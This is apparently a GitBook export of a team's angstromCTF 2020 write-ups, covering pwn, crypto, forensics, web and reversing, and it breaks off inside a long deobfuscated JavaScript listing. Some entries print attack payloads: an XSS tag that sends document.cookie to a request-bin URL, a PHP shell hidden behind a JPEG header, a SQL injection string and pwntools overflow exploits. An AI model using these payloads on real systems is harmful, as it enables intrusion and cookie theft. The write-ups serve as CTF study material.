Only this pageAll pages
Powered by GitBook
Couldn't generate the PDF for 520 pages, generation stopped at 100.
Extend with 50 more pages.
1 of 100

Writeups

Loading...

2020 Writeups

Angstrom

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

bsidesBOS

Binary Exploitation

Loading...

Loading...

Cryptography

Loading...

Loading...

Loading...

Loading...

Loading...

Forensics

Loading...

Loading...

Loading...

Loading...

Loading...

Misc

Loading...

Loading...

Scripting

Loading...

Loading...

Loading...

Steg

Loading...

Loading...

Loading...

Warmup

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Web

Loading...

Loading...

Crypto CTF

Loading...

Loading...

Loading...

Loading...

Covid19 CTF

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Pwn

Loading...

Loading...

Loading...

Misc

Loading...

Loading...

Web

Loading...

Rev

Loading...

Loading...

Loading...

Loading...

Crypto

Loading...

Loading...

Loading...

Loading...

OSINT

Secret Agents

Add

' OR 1=1 ORDER BY name LIMIT 1#

bam ez flag

windows of opportunity

rabin -z windows_of_opportunity.exe

actf{ok4y_m4yb3_linux_is_s7ill_b3tt3r}

Writeups

This is where we post our writeups for CTF challs!

2020 Writeups
2021 Writeups

Patcherman

Look in hex - line 01050 - be ba 0d f0 That spelled backwards is f00dbabe Open cutter, go to graph, main 'cmp eax, 0x1337beef' Convert that to the format it needs

python -c "import pwn; print(pwn.p32(0x1337beef))"  | hd - ef be 37 13

Swap that with f00dbabe ./patcherman

actf{p4tch3rm4n_15_n0_m0r3}

Defund's Crypt

ÿØÿà JFIF  
<?php
system("cat /flag.txt");
?>

actf{th3_ch4ll3ng3_h4s_f4ll3n_but_th3_crypt_rem4ins}

No canary

Use r2 to find address of flag function, 0x00401186 Find buffer length needed.

nc shell.actf.co 20700 | python -c 'print("A"*40+"\x86\x11\x40\x00\x00\x00\x00\x00")'

WS3

  • http.request.method == GET on wireshark

  • Export Objects > HTTP > git-receive-pack

  • Create a new git repo

  • Place in the git repo

  • Open in hex editor and fix the file header to be just 'PACK' at the beginning (remove all the crap)

  • Now git unpack-objects < git-receive-pack

  • Navigate to objects folder, here there are 3 git objects:

    • a commit

    • a tree file

    • a blob file

  • Decompress the zlib blob file with: python -c "import zlib; print zlib.decompress(open('3f47cbcb3ad8e946d0aad59259bdb1bc9e63f2').read());" > flag.jpg

  • Open the file up in a hex editor and remove the first few bytes so the header is a jpeg header

  • Open it up for the flag

    actf{git_good_git_wireshark-123323}

Git Good

/.git/index
/./git/thisistheflag.txt
"The flag was here"
  • Clone git repo

  • Find the commit logs at /.git/logs/HEAD

  • Get the Sha-1 hash of the first log

  • Git checkout 6b3c94c0b90a897f246f0f32dec3f5fd3e40abb5

  • (Switches to that version of the repo)

  • Cat thisistheflag.txt

    actf{b3_car3ful_wh4t_y0u_s3rve_wi7h}

Git clone

https://gitgood.2020.chall.actf.co/.git/

Discrete Superlog

Found this repl.it on this stack overflow, adjusted to this and used x function to manually calculate values

https://repl.it/repls/BarrenIdealLoopfusion
https://stackoverflow.com/questions/30713648/how-to-compute-ab-mod-m
https://repl.it/repls/CompassionateForkedUnderstanding

Califrobnication

./califrobnication > ~/file & echo $! | date on shell server

This will give you an exact timestamp and an approximate PID Next run following command locally, with a flag.txt file of length 49

date +%s -s @<UNIX TIMESTAMP HERE> ;sudo echo <PID-2 HERE> > /proc/sys/kernel/ns_last_pid; ./califrobnication | hd

You will get a number of different outputs Look for one that has the last letter of flag.txt xor'ed in the same place as the } xor'ed was on the shell Dexor Reassemble the flag GG;No re

actf{dream_of_califrobnication_1f6d458091cad25}

Low-kee

All we had to find was a'/a and apply it on b'wb to get a'b'wba to get our solution but reversing it to achieve fewest moves. i did a'waw' to find the differences between the 2 scrambles. luckily only corners were affected so i can take less time. i then analysed the movement of corners swaps of w and represented them in Old Pochmann notation: ANTXPDGJ afterwards i mapped out the corner swaps of a'wa also represented in Old Pochmann notation: AMPHFNLO then i got a sheet of paper and mapped out a'wa corner pieces onto the corner swaps of w to find the setup move (a = B U B U D' F' L2 F U2 L2 U' L2 D F2 U2 F2 U' B2). After filling the cube corners out i plugged it into the rubiks cube solver to get a. i applied it onto b'wb and then plug it into the rubiks cube solver again and reverse the solution to get the flag.

Reasonably Secure Algorithm

python RsaCtfTool.py -n 126390312099294739294606157407778835887 -e 65537 --uncipher 13612260682947644362892911986815626931

actf{10minutes}

With an n value this small, it can be quite easily cracked. I used RsaCtfTool (git clone ), with the command:

https://github.com/Ganapati/RsaCtfTool

Just Rust

Have a bit of an experiment The input is broken down into 4 chunks of 8 Imagine the output like a grid The first character is converted to binary and written to the grid like a diagonal line, with the lsb at the top. For the next character the line is shifted to the right one, and so on until all characters in the chunk have been written. This repeats for the next 3 chunks, except instead of 1, the numbers 2, 4 and 8 are written instead After the string is written 40 is added to all squares and it is converted to ascii. To solve, unconvert, subtract 40 and reverse the process gg, beat woak

actf{b1gg3r_4nd_b4dd3r_l4ngu4g3}

PSK

Used DigiPan to decode the PSK31 signals

actf{hamhamhamhamham}

Wacko Images

We have ab mod c = d where we know b (key), c (251), and d (encrypted pixel value). Multiplying by the modular inverse of b gets us: a mod c = d * b^-1 mod c

Calculate this for every pixel in the image with a script, and you get an image that contains the flag.

import numpy as np
from PIL import Image
from Crypto.Util.number import inverse

enc_image = Image.open('enc.png')
img = np.array(enc_image)

a, b, c = img.shape

key = [41, 37, 23]

for x in range(0, a):
    for y in range(0, b):
        pixel = img[x, y]
        for i in range(0, 3):
            pixel[i] = inverse(key[i], 251) * pixel[i] % 251
        img[x, y] = pixel

flag = Image.fromarray(img)
flag.save('flag.png')

The flag is:

actf{m0dd1ing_sk1llz}

flag

Confused Streaming

nc crypto.2020.chall.actf.co 20601
a: 1
b: 33
c: 7

Returns:

01100001011000110111010001100110011110110110010001101111011101110110111001011111011101000110111101011111011101000110100001100101010111110110010001100101011000110110100101101101011000010110110001111101

Converts to get:

actf{down_to_the_decimal}

Shifter

import socket
import re
fibo = [0, 1, 1, 2, 3, 5, 8, 13, 21, 8, 3, 11, 14, 25, 13, 12, 25, 11, 10, 21, 5, 0, 5, 5, 10, 15, 25, 14, 13, 1, 14, 15, 3, 18, 21, 13, 8, 21, 3, 24, 1, 25, 0, 25, 25, 24, 23, 21, 18, 13]
def fibshift(num, msg):
    list1 = [chr(ord(i)+fibo[num]) for i in msg]
    list2 = [chr(ord(j)-26) if ord(j)>90 else j for j in list1]
    return "".join(list2)
clientsocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
clientsocket.connect(('misc.2020.chall.actf.co', 20300))
for i in range(0, 50):
    message = clientsocket.recv(2048)
    task = [k for k in message.splitlines() if "Shift" in k][0]
    clientsocket.send(fibshift(int(re.search('by n=(.*)', task).group(1)), re.search('Shift (.*) by', task).group(1)) + "\n")
print(clientsocket.recv(2048))

actf{h0p3_y0u_us3d_th3_f0rmu14-1985098}

Canary

Use pattern.py to flood the second input, put a breakpoint at the line in greet which compares the canaries. Check rax using gdb, feed that back into pattern.py, 56 bytes before canary. Fuzz format string output until you find the one that's always 8 bytes long, that's the canary Make a script that leaks the canary then overflows the buffer with 56 junk bytes + canary + 8 junk bytes + flag address

Note: canary is just before ebp, which is why you must put 8 junk bytes to fill up ebp

from pwn import *
import re
e = ELF("./canary")
p = remote("shell.actf.co" ,20701)
for _ in range(23):
            p.recvline()
p.recvline()
p.sendline("%17$lx")
flagaddr = 0x0000000000400787
output = p.recvline()
num = re.findall("Nice to meet you, (.*)!", output)
canary = int(num[0], 16)
log.info("Canary: " + hex(canary))
firstpad = 'A' * 56 #Junk before the canary
canaryString = p64(canary)
neweip = p64(flagaddr)
lastpad = 'B' * 8
payload = firstpad + canaryString + lastpad + neweip
p.sendline(payload)
log.info("Response: " + p.recvline())

Consolation

In console:

for(i=0; 1 < 9999; i++){nofret()}

Flag will appear in console

actf{you_would_n0t_beli3ve_your_eyes}

One Time Bad

Run the server script at same time as nc Use sample to make sure randomness is same On local pick option 2 and get wrong to receive answer ^C ^V into netcat gg

actf{one_time_pad_more_like_i_dont_like_crypto-1982309}

Xmas Still Stands

<img src=x onerror=fetch("requestbinurl?cookie="+document.cookie)>

Report that, bam ez

Noisy

So i averaged the first 10 nums and gave it a number as well as add 0.5 (to reverse what the source did) this gave me binary and i replaced it with values from source. i shoved it into a morse code decoder to get a pattern and then brute forced the flag by guessing what the letters could be

import numpy as np
from random import gauss
import math

out2 = "100100101101000011011011000010100001010000001101011011000011010010010110110000101000010101000010111100001101000011011011000111100001010000101101010011000011010000110100110000100000010101000010101100001101000011011011000010100001010100000111011011001010010001110110110000101100110101000010101100001101000011011011000010100001010100001101011011000011010000110110110000100000010101000010101100000011100011111011000010000001010100001101011011000011010100110110110000101000010101010010111100001100000011011110000010100011010100001101011011001011110000010110110000101000010101000010101100011101000011011011000010100001010110001100011011000011010100111010110001101000010101000010101100001101000011011011000010100001010110001101011011000011010000110110111010101010010101000010101110001101000011010011000010100001010100001101011011000011010000110100110000101000010101000010101100001101000011011011000010100001010100001111011011100011010000101110110000101000010101000010101100001101000011011011000010100011010100101101011011000011110000110100010000111000010101000010101000001101010011011011000010100000010100000101011011000011010000110110110000101000010101000010101000001101000011011011000010100001010100001101011011000011010000110110110000101000010101000110101100001101010011011111000010100001010100001101011011000001110000110110110000101001010101001010101100001001001011011010000010100001010101001101011111000011010100010110110000101000010101000010101100001101000011011011001010000000010100001101011011000011010000110110110000101000010101000010101100001101100011011011010000110001010000001101011011000011010000110110110000101000010101001011101100001101000011011010000010100001010101001001011011000011011000110110010000101001010101000010101100001111000011011011000010110001010100101101011011000011010000110110111000101000010100000010101100001101010011011011000010100001010100001101011011000011011000110110110001101000011101001010101100001001000011011011000010100010010100001101011011000011010000110100100000101000010101000010111100001101000111011011000010100001010100001101011001000011010000110110110000101000110101000000101100001101010011011011001010101001010100001101111011000011010000110110110000101000010111000010101100001101000011011011000010100001010100011101011011000011010001110110100000101000010101000010101100001101000011011011000010100101010100001101011011000011010000110110110000101000000101000010101110001101000011011111000110100001010100001101011011000011010000110110110000001000011000000110101100000101000011011011000010100001010100000101011011000011010100110110110000101001010100001010101100001101000011011001000010101011010100001101011111000011010000110010110000101000010101000010100100001101000011011011001010100001010100001101011111000011010000110110100000101010000101000010101100001101000011111011000000110001011100001111011011000011010000011110110000101000010101000010"
out = []
out2 = ""
with open("flag.txt","r") as f:
    cont = f.read().split("\n")
    sums = 0

    for i,num in enumerate(cont):
        sums += float(num)
        sums += float(cont[i+14400])
        if (i + 1)%10 == 0:
            out.append(sums/20+0.5)
            sums = 0
        if i == 14399:
            break

for i in out:
    a = round(i)
    if a < 0:
        a = 0
    if a > 1:
        a = 1

    out2 = out2 + str(a)

print(out2)    

"""
10010-11012010000110110110000101000010100000011010110120000110100100101101100002010-10010101000010111100002102000011-111011000111100001010000101101020011000011010000210100110000100000010101000-110101100-102201000011011-111-1-100101000-110201000-101120120110010200100011101101100002011001101020000101011000-111010000120110210000101000010101000011010110110000110100001101101100001000000101-110000101011000000111000121110110000100000010101-10001101-111011000011-1101001101101100-101010-100101-1101001011120000110000-1-111011110000-11010001101010000110201102100101111000001011011000-1101000-11010100-1010101100012101-100011011012000020100001010110001100011011000011-11010-1111020110-10110100001010100001-1101100001101000011011011000010100001010110001102021011000-1110100-1011011011101010101001010100001010111-10-1210100001101001100001-110000101010000110101101100-1011010000110100110000101000010101-1000201011000011-11-1000110110110000101000010101000011110120121000110100-1010122011000-11010-10020101000-1101011000011-1100-1011011011000010100011010100101101011011000011110000110100020000111000010101000-1102010000011010100110110110000101000000101000001010110110-10011-11000011011011000010100001010100001010100-1001101000011011011000010100001-1101-1000110101101100001101000011021011-10-1010100001010100011-1101100001101010011011111-10-1010100001010100001101011-111000001120000110110110000101001010101001010101100002001001011021010000010100001010101001101011111000012010100010110110000101000010101-1000101012000011010-10-11101101100101000000001010000110102101100001101000011011011-100-110100002010100001010110000110110001101101101-1000110001010000-1011010110110000110100001201101100001010000101010010111011-10-10110100001101102000-1-110100001010101001001011-1110000110110001101100100001010010101010000101011000011110000110110120000101100020101001011010110110000110100001101101110002010000102-1000002010110000110101001101101100001010000101010000210101101100001202100011011011000110100001110200101010110000100100001101101100001-11000100101000012010110110000110100002101001000001010000101010000101111000011010001110110110-1001010000101010000110101100100001101-1000110110110000101-1001101-110-10000201100001101010011021-111001010101001010100001101111011000011-1100001101101100002010000101110000101011000011010000110110110000101-1000101010001120101101100001101-10011101101000-10101000010101000010101100001101-100011022011000010100101010100001101021021000011-11000011011011-100020100000-1101000010101110001101000-121011111000110100002010100001101011011000011010000110110110000001000011000000110101100000101000011011011-1000101000020101000-10101011011-1-100110101002101101100001010010201000010101-11100001101000011011001000010101011-11010000210101111100001101000011001011-1000101000010101000010100200001101000-121011011001010100001010100001101021111000-11101000011011010-10001010100001010-10010101100001101000011111011000000110-10101110-1-10111102102100001101000001111011000010100001010100001-1"""
print(len(out2))

out3 = out2
out4 = out3.replace("110","-")
out4 = out4.replace("000"," ")
out4 = out4.replace("10",".")
#out4 = out4.replace("00","")
out4 = out4.replace("0","")
out4 = out4.replace("1",".")
print("---------")
print(out4)
input()

Inputter

Look at the source code, gives you the arguments that you need to put into the program, and what you must type in the buffer. They are unprintable characters, so use a python script to run it

from PIL import Image
temp = 0
im = Image.open('breathe.jpg', 'r')
im2 = Image.open('output.png', 'r')
pix_val = list(im.getdata())
pix_val2 = list(im2.getdata())
flag = []
pix_list = zip([x for sets in pix_val for x in sets], [x for sets in pix_val2 for x in sets])
for i in pix_list:
    if len(str(i[1])) < len(str(i[0])):
        temp *= 10
    elif i[1] == 255:
        temp *= 10
    else:
        temp = (temp*10)+int(str(i[1])[0])
    if len(str(temp)) == 3:
        flag.append(chr(temp))
        temp = 0
    elif len(str(temp)) == 2 and temp != 11 and temp != 12 and temp != 10:
        flag.append(chr(temp))
        temp = 0
print("".join(flag))

actf{inhale_exhale_ezpz-12309biggyhaby}

Taking Off

Found arguments were 3 numbers 0-9 and "chicken" Although not meant to I brute forced it with this python script:

import itertools
import os

nums = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9]
for c in itertools.product(nums, repeat=3):
    args = "(echo " + str(c[0]) + "; echo " + str(c[1]) + "; echo " + str(c[0]) + ") | ./taking_off"
    args = "./taking_off " + str(c[0]) + " " + str(c[1]) + " " + str(c[2]) + " chicken"
    print(args)
    os.system(args)

String "ZFOKYO\nMC\O\nLFKM" seen in memory About where the password is compared XOR it with the key 2a to get 'please give flag' with newlines removed.

clam clam clam

nc misc.2020.chall.actf.co 20204 | more

type "clamclam" for salvation

type "clamclam"

actf{cl4m_is_my_f4v0rite_ctfer_in_th3_w0rld}

Wooosh

Deobfuscate all the code and after finding this line

socket['emit']('click', coords[0x0], coords[0x1]);

This sends a post that'll send mouse coords. after i messed around a bit i realised that the shapes coords are different from the one they send to you so i guess something happens with them (not sure what tho). i then analysed the thingies going on in network which was always in the pattern start [get shapes, send coords, get score] and found the code to find mouse coords (see deobfuscated js) was consistent with where the shapes are displayed. after that i looked at the code that draws out the shapes with the coord and figured out how it knows whether to draw a circle or square. which was:

function drawShapes() {
    ctx["clearRect"](0x0, 0x0, 0x1f4, 0x12c);
    shapes['map'](
        (_0x401a13,_0x53031c)=>_0x53031c ? ctx["fillRect"](_0x401a13['x'] - 0x5, _0x401a13['y'] - 0x5, 0xa, 0xa) 
        : ctx['beginPath']() + ctx["arc"](_0x401a13['x'], _0x401a13['y'], 0x5, 0x0, Math['PI'] * 0x2) + ctx["closePath"]() + ctx["fill"]()
        );

If you know a little js, it chooses the first element of the shapes list to be a circle and the rest are squares. after that i checked whether the shapes list matches the shapes list going in through the network and found they were different. The shapes list was correct and matched the coords of the circle and after analysing a thingy that sends my mouse coords, they were roughly the same which meant i could create the payload

socket['emit']('click', shapes[0].x, shapes[0].y);

Spam it through console when i press start which gave me points :) and then i got the flag (turns out i didnt need the backend source code lol)

actf{w0000sh_1s_th3_s0und_0f_th3_r3qu3st_fly1ng_p4st_th3_fr0nt3nd}

var _0x1ce0 = ['bWFw', 'SlBOcFY=', 'a1dQd2M=', 'Z2V0Q29udGV4dA==', 'SkxnSXA=', 'Y2xvc2VQYXRo', 'Y0dhbWU=', 'Y291bnRlcg==', 'Z2V0Qm91bmRpbmdDbGllbnRSZWN0', 'c3RhdGVPYmplY3Q=', 'QmZDSk0=', 'WVlOdEU=', 'ZmlsbA==', 'TWZhRHU=', 'c3BsaXQ=', 'TnNndkw=', 'd2Fybg==', 'ck9ZWHg=', 'UnNGSFI=', 'b3dsQnU=', 'RkRCaGY=', 'eERtaWc=', 'cVZyYms=', 'dEtxZXQ=', 'YllhZFQ=', 'UVJWcVA=', 'eFJkWUM=', 'QUdRZnU=', 'UUR3cHc=', 'Tk9Cam4=', 'bUJ2QU8=', 'Z2V0RWxlbWVudEJ5SWQ=', 'Y2xpZW50WA==', 'bGVuZ3Ro', 'ZXhjZXB0aW9u', 'TmhncEI=', 'Q1VnV20=', 'QlFQYVI=', 'YWRkRXZlbnRMaXN0ZW5lcg==', 'Y29uc3RydWN0b3I=', 'YmVnaW5QYXRo', 'YUpBbHU=', 'aW5pdA==', 'Y1h0TGY=', 'cHh0Q2Y=', 'XCtcKyAqKD86W2EtekEtWl8kXVswLTlhLXpBLVpfJF0qKQ==', 'ZXd3YUE=', 'ZGlzY29ubmVjdA==', 'SUp4T0w=', 'QmlRb1Y=', 'cmV0dXJuIC8iICsgdGhpcyArICIv', 'S09Bd1E=', 'V0ZtVHQ=', 'bmF0Qm8=', 'dlFSdEU=', 'I2ZmMDAwMA==', 'Y29uc29sZQ==', 'VEJXUWk=', 'SGl0bEI=', 'ZW95Y1g=', 'YWF0U24=', 'UU5Pc3I=', 'a2ZPREk=', 'UkhqWGU=', 'ZGVidWc=', 'QlZnUEI=', 'bENjSEo=', 'cFhQRkw=', 'bnBLSEU=', 'ZXJyb3I=', 'e30uY29uc3RydWN0b3IoInJldHVybiB0aGlzIikoICk=', 'Y2FsbA==', 'T2ROVEE=', 'dG9w', 'b2Jlemg=', 'U1dvS0Y=', 'c2hhcGVz', 'eXRJbkE=', 'Y3NheFE=', 'ZnVuY3Rpb24gKlwoICpcKQ==', 'bG9n', 'V3ZJQ3o=', 'anhGSm8=', 'YXhFRW8=', 'cGVKYlY=', 'WFZRU1A=', 'REdEcUU=', 'dGFibGU=', 'bnlmTlc=', 'dkJmanI=', 'd3lJVVA=', 'Y2xpY2s=', 'UXJYaGo=', 'ZFVoano=', 'cmV0dXJuIChmdW5jdGlvbigpIA==', 'XihbXiBdKyggK1teIF0rKSspK1teIF19', 'QURlbWk=', 'VEpEWmk=', 'VWRBTFo=', 'WWpXaXI=', 'elFyalM=', 'Mnw1fDl8OHwxfDZ8N3wwfDR8Mw==', 'aW5wdXQ=', 'd2hpbGUgKHRydWUpIHt9', 'QWZBT1M=', 'WmZNeFc=', 'dHJhY2U=', 'RVBublU=', 'Z2dlcg==', 'UEtrQmg=', 'Y2xlYXJSZWN0', 'YXJj', 'dGVzdA==', 'c2NvcmU=', 'bktJanY=', 'Y2hhaW4=', 'Q2Z1V0o=', 'U2NvcmU6IA==', 'SlV0dVY=', 'ZmlsbFN0eWxl', 'YlN0YXJ0', 'aW5GREs=', 'SERnSEY=', 'VlN0TG8=', 'ZmlsbFJlY3Q=', 'WHhaaXc=', 'c3RhcnQ=', 'YXBwbHk=', 'NHwxfDV8N3w2fDN8Mnww', 'ZGVidQ==', 'ZW1pdA==', 'RUpoc08=', 'enFVUWo=', 'ZldOVGs=', 'V0ZibmY=', 'aW5mbw=='];
(function(_0x20cc64, _0x1ce09b) {//cookie stuff 
    var _0x34d7a6 = function(_0x45c586) {
        while (--_0x45c586) {
            _0x20cc64['push'](_0x20cc64['shift']());
        }
    };
    var _0x59c786 = function() {
        var _0x2ee600 = {
            'data': {
                'key': 'cookie',
                'value': 'timeout'
            },
            'setCookie': function(_0x1baf97, _0x584a1c, _0x27dfce, _0x2f47ff) {
                _0x2f47ff = _0x2f47ff || {};
                var _0x3cdb63 = _0x584a1c + '=' + _0x27dfce;
                var _0x3ab829 = 0x0;
                for (var _0x30b65a = 0x0, _0x2024f0 = _0x1baf97['length']; _0x30b65a < _0x2024f0; _0x30b65a++) {
                    var _0x1e37b5 = _0x1baf97[_0x30b65a];
                    _0x3cdb63 += ';\x20' + _0x1e37b5;
                    var _0x1dca17 = _0x1baf97[_0x1e37b5];
                    _0x1baf97['push'](_0x1dca17);
                    _0x2024f0 = _0x1baf97['length'];
                    if (_0x1dca17 !== !![]) {
                        _0x3cdb63 += '=' + _0x1dca17;
                    }
                }
                _0x2f47ff['cookie'] = _0x3cdb63;
            },
            'removeCookie': function() {
                return 'dev';
            },
            'getCookie': function(_0x3962bf, _0x49db25) {
                _0x3962bf = _0x3962bf || function(_0x506876) {
                    return _0x506876;
                }
                ;
                var _0x3b872e = _0x3962bf(new RegExp('(?:^|;\x20)' + _0x49db25['replace'](/([.$?*|{}()[]\/+^])/g, '$1') + '=([^;]*)'));
                var _0x21d4b7 = function(_0xaa6690, _0x5f084e) {
                    _0xaa6690(++_0x5f084e);
                };
                _0x21d4b7(_0x34d7a6, _0x1ce09b);
                return _0x3b872e ? decodeURIComponent(_0x3b872e[0x1]) : undefined;
            }
        };
        var _0x37cabe = function() {
            var _0x27a400 = new RegExp('\x5cw+\x20*\x5c(\x5c)\x20*{\x5cw+\x20*[\x27|\x22].+[\x27|\x22];?\x20*}');
            return _0x27a400['test'](_0x2ee600['removeCookie']['toString']());
        };
        _0x2ee600['updateCookie'] = _0x37cabe;
        var _0xc4302b = '';
        var _0x2d1069 = _0x2ee600['updateCookie']();
        if (!_0x2d1069) {
            _0x2ee600['setCookie'](['*'], 'counter', 0x1);
        } else if (_0x2d1069) {
            _0xc4302b = _0x2ee600['getCookie'](null, 'counter');
        } else {
            _0x2ee600['removeCookie']();
        }
    };
    _0x59c786();
}(_0x1ce0, 0xed));
var _0x34d7 = function(_0x20cc64, _0x1ce09b) {
    _0x20cc64 = _0x20cc64 - 0x0;
    var _0x34d7a6 = _0x1ce0[_0x20cc64];
    if (_0x34d7['ptmszC'] === undefined) {//ignore this below, values are decoded b64 from _0x1ce0. if statement checks if the values have been decoded already
        (function() {
            var _0x45c586 = function() {
                var _0xc4302b;
                try {
                    _0xc4302b = Function('return\x20(function()\x20' + '{}.constructor(\x22return\x20this\x22)(\x20)' + ');')();
                } catch (_0x2d1069) {
                    _0xc4302b = window;
                }
                return _0xc4302b;
            };
            var _0x2ee600 = _0x45c586();
            var _0x37cabe = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';
            _0x2ee600['atob'] || (_0x2ee600['atob'] = function(_0x1baf97) {
                var _0x584a1c = String(_0x1baf97)['replace'](/=+$/, '');
                var _0x27dfce = '';
                for (var _0x2f47ff = 0x0, _0x3cdb63, _0x3ab829, _0x30b65a = 0x0; _0x3ab829 = _0x584a1c['charAt'](_0x30b65a++); ~_0x3ab829 && (_0x3cdb63 = _0x2f47ff % 0x4 ? _0x3cdb63 * 0x40 + _0x3ab829 : _0x3ab829,
                _0x2f47ff++ % 0x4) ? _0x27dfce += String['fromCharCode'](0xff & _0x3cdb63 >> (-0x2 * _0x2f47ff & 0x6)) : 0x0) {
                    _0x3ab829 = _0x37cabe['indexOf'](_0x3ab829);
                }
                return _0x27dfce;
            }
            );
        }());
        _0x34d7['pwjwqN'] = function(_0x2024f0) {
            var _0x1e37b5 = atob(_0x2024f0);
            var _0x1dca17 = [];
            for (var _0x3962bf = 0x0, _0x49db25 = _0x1e37b5['length']; _0x3962bf < _0x49db25; _0x3962bf++) {
                _0x1dca17 += '%' + ('00' + _0x1e37b5['charCodeAt'](_0x3962bf)['toString'](0x10))['slice'](-0x2);
            }
            return decodeURIComponent(_0x1dca17);
        }
        ;
        _0x34d7['psiqcL'] = {};
        true = !![];
    }
    var _0x59c786 = _0x34d7['psiqcL'][_0x20cc64];
    if (_0x59c786 === undefined) {
        var _0x3b872e = function(_0x21d4b7) {
            this['FnKpUT'] = _0x21d4b7;
            this['dnpwlO'] = [0x1, 0x0, 0x0];
            this['xxqOHK'] = function() {
                return 'newState';
            }
            ;
            this['UFWVYh'] = '\x5cw+\x20*\x5c(\x5c)\x20*{\x5cw+\x20*';
            this['okSRxK'] = '[\x27|\x22].+[\x27|\x22];?\x20*}';
        };
        _0x3b872e['prototype']['zRoycw'] = function() {
            var _0x506876 = new RegExp(this['UFWVYh'] + this['okSRxK']);
            var _0xaa6690 = _0x506876['test'](this['xxqOHK']['toString']()) ? --this['dnpwlO'][0x1] : --this['dnpwlO'][0x0];
            return this['wWoyOu'](_0xaa6690);
        }
        ;
        _0x3b872e['prototype']['wWoyOu'] = function(_0x5f084e) {
            if (!Boolean(~_0x5f084e)) {
                return _0x5f084e;
            }
            return this['Mmnboh'](this['FnKpUT']);
        }
        ;
        _0x3b872e['prototype']['Mmnboh'] = function(_0x27a400) {
            for (var _0x4f73b9 = 0x0, _0x317d20 = this['dnpwlO']['length']; _0x4f73b9 < _0x317d20; _0x4f73b9++) {
                this['dnpwlO']['push'](Math['round'](Math['random']()));
                _0x317d20 = this['dnpwlO']['length'];
            }
            return _0x27a400(this['dnpwlO'][0x0]);
        }
        ;
        new _0x3b872e(_0x34d7)['zRoycw']();
        _0x34d7a6 = _0x34d7['pwjwqN'](_0x34d7a6);
        _0x34d7['psiqcL'][_0x20cc64] = _0x34d7a6;
    } else {
        _0x34d7a6 = _0x59c786;
    }
    return _0x34d7a6;
};
var _0x2f47ff = function() {
    var _0x34a890 = {
        'xDmig': function(_0x1acd1d, _0x50045b) {
            return _0x1acd1d === _0x50045b;
        },
        'FDBhf': "npKHE",
        'AWOLM': "while (true) {}",
        'RZUwZ': "counter",
        'eoycX': "QNOsr",
        'cXtLf': 'BuBbm'
    };
    var _0x418c8e = !![];
    return function(_0x28cb74, _0x39da2d) {
        var _0x22e999 = {
            'EPnnU': "while (true) {}",
            'ZfMxW': "counter"
        };
        if (false) {
            if (_0x39da2d) {
                var _0xdc044d = _0x39da2d["apply"](_0x28cb74, arguments);
                _0x39da2d = null;
                return _0xdc044d;
            }
        } else {
            var _0x32fd69 = _0x418c8e ? function() {
                if (true) {//this bit is the only part that runs
                    if (_0x39da2d) { //true
                        var _0x4f6b34 = _0x39da2d["apply"](_0x28cb74, arguments);
                        _0x39da2d = null;
                        return _0x4f6b34;
                    }
                } else { //never executes
                    return function(_0x18294d) {}
                    ["constructor"]("while (true) {}")["apply"]("counter");
                }
            }
            : function() {} //this never runs
            ;
            _0x418c8e = ![];
            return _0x32fd69;
        }
    }
    ;
}();
var _0x27dfce = _0x2f47ff(this, function() {
    var _0x4d850d = {
        'DGDqE': function(_0x3dac4c, _0xd908d4) {
            return _0x3dac4c === _0xd908d4;
        },
        'QRVqP': "JLgIp",
        'MfaDu': "return /" + this + "/",
        'axEEo': "^([^ ]+( +[^ ]+)+)+[^ ]}"
    };
    var _0x4104ec = function() {
        if (true) {
            var _0x1baf6d = _0x4104ec['constructor']("return /" + this + "/")()['compile']("^([^ ]+( +[^ ]+)+)+[^ ]}");
            return !_0x1baf6d["test"](_0x27dfce);
        } else { //never executes
            that['console'] = function(_0x54cc65) {
                var _0x521582 = {};
                _0x521582["log"] = _0x54cc65;
                _0x521582["warn"] = _0x54cc65;
                _0x521582["debug"] = _0x54cc65;
                _0x521582["info"] = _0x54cc65;
                _0x521582["error"] = _0x54cc65;
                _0x521582["exception"] = _0x54cc65;
                _0x521582["table"] = _0x54cc65;
                _0x521582['trace'] = _0x54cc65;
                return _0x521582;
            }(func);
        }
    };
    return _0x4104ec();
});
_0x27dfce();
var _0x1baf97 = function() {
    var _0x4a04d8 = {
        'QDwpw': function(_0x580bda, _0xde7f8) {
            return _0x580bda === _0xde7f8;
        },
        'OdNTA': "kWPwc",
        'wuTZe': "XxZiw",
        'tKqet': 'ebwEc'
    };
    var _0x2e098e = !![];
    return function(_0x144f1d, _0x210b4a) {
        var _0x431a70 = {
            'mBvAO': function(_0x4bfe9c, _0x32222e) {
                return _0x4bfe9c === _0x32222e;
            },
            'UdALZ': "kWPwc",
            'nyfNW': "XxZiw",
            'acHtD': 'ebwEc'
        };
        var _0x388e28 = _0x2e098e ? function() {
            if (false) {
                msg = m;
                update();
            } else {
                if (_0x210b4a) {
                    if (false) {
                        var _0x37f6ab = _0x210b4a['apply'](_0x144f1d, arguments);
                        _0x210b4a = null;
                        return _0x37f6ab;
                    } else { //does same thing
                        var _0x4b2e75 = _0x210b4a["apply"](_0x144f1d, arguments);
                        _0x210b4a = null;
                        return _0x4b2e75;
                    }
                }
            }
        }
        : function() {}
        ;
        _0x2e098e = ![];
        return _0x388e28;
    }
    ;
}();
(function() {
    var _0x32f2b7 = {
        'natBo': "function *\( *\)",
        'SWoKF': '\x5c+\x5c+\x20*(?:[a-zA-Z_$][0-9a-zA-Z_$]*)',
        'TJDZi': function(_0x383e42, _0x247ec9) {
            return _0x383e42 + _0x247ec9;
        },
        'ytInA': function(_0x11e1a6, _0x3012cc) {
            return _0x11e1a6 + _0x3012cc;
        },
        'ADemi': "input",
        'rOYXx': "fWNTk",
        'GhaAN': function(_0x4d7529, _0x4cb76f) {
            return _0x4d7529(_0x4cb76f);
        },
        'SGiMY': "init",
        'aatSn': function(_0x4b2ee6, _0x4523dd) {
            return _0x4b2ee6 + _0x4523dd;
        },
        'jxFJo': "chain",
